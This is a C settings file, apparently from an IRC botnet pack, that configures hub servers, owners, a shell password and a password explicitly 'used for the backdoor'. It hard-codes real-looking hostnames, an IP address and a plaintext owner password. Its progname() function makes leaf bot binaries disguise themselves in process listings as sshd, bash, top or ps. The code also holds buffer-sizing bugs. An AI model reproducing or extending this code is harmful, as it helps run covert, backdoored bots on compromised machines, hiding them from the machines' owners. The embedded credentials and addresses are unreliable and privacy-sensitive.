settings.c 2.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687
  1. /* settings.c:
  2. * handles pack settings
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include "main.h"
  7. #define STR(x) x
  8. extern char *degarble(int, char *);
  9. char netpass[16], shellpass[33], thepass[33], dcc_prefix[1], owners[2048], hubs[2048];
  10. //Change everything..
  11. #define NETPASS STR("kd8e3nchasd93dk") //Just 15 random chars here..
  12. #define SHELLPASS STR("d166239eb0558fc14c25a0826d20286d") //this md5 hash will be used for shell functions
  13. #define THEPASS STR("d166239eb0558fc14c25a0826d20286d") //this md5 hash will be used for the backdoor
  14. #define DCCPREFIX "!" //This is the cmd prefix for dcc, ie: .cmd could be "."
  15. //You can define an infinite ammount of hubs/owners.
  16. //All hubs must be added/defined in this, owners can be later added via partyline.
  17. //"ip/hostname" means ip OR hostname, I highly recommend setting up dns for your hubs with hostnames.
  18. /*
  19. * Give your main hub the number 1...
  20. * The order of the hubs makes no difference, but be sure to give each
  21. * bot a unique number, starting from 1 and not skipping any numbers.
  22. * See the example below for what username is.
  23. *
  24. */
  25. /* IT IS IMPERATIVE TO ADD THE TRAILING COMMA AND SLASH CORRECTLY */
  26. #define OWNERS STR("\
  27. nick pass *!u@host *!u@ip *!u@host *!u@host *!u@ip,\
  28. nick pass *!u@host -telnet!ident@host,\
  29. ")
  30. #define HUBS STR("\
  31. hubnick ip/hostname port 1 username username,\
  32. hubnick2 ip/hostname port 2 username username,\
  33. hubnick3 ip/hostname port 3 username username,\
  34. ")
  35. #undef OWNERS
  36. #undef HUBS
  37. #define OWNERS STR("bryan Pass1234 *!bryan@botpack.net *!bryan@ip68-8-83-38.sd.sd.cox.net *!bryan@68.8.83.38,")
  38. #define HUBS STR("hub hub.botpack.net 9227 1 shatow,war war.bryan.net 9227 2 bryan ~war,hub2 hub2.bryan.net 9229 3 bryan ~hub2")
  39. //these are programs the leaf binaries will spoof as
  40. char *progname() {
  41. #ifdef S_PSCLOAK
  42. switch (random() % 13) { //Total entries + 1
  43. case 0: return STR("-bash");
  44. case 1: return STR("ftp");
  45. case 2: return STR("/usr/sbin/sshd");
  46. case 3: return STR("man");
  47. case 4: return STR("pine");
  48. case 5: return STR("bash");
  49. case 6: return STR("top");
  50. case 7: return STR("last");
  51. case 8: return STR("w");
  52. case 9: return STR("ps ux");
  53. case 10: return STR("bash");
  54. case 11: return STR("./psybnc");
  55. case 12: return STR("BitchX");
  56. }
  57. #endif
  58. return "";
  59. }
  60. /* ------ DO NOT EDIT BELOW THIS LINE ------ */
  61. void init_settings() {
  62. snprintf(owners, sizeof owners, OWNERS);
  63. snprintf(hubs, sizeof hubs, HUBS);
  64. snprintf(netpass, sizeof netpass, NETPASS);
  65. snprintf(thepass, sizeof thepass, THEPASS);
  66. snprintf(shellpass, sizeof thepass, SHELLPASS);
  67. sprintf(dcc_prefix, DCCPREFIX);
  68. sdprintf(STR("dcc_prefix: %s netpass: %s thepass: %s shellpass: %s\n"), dcc_prefix, netpass, thepass, shellpass);
  69. }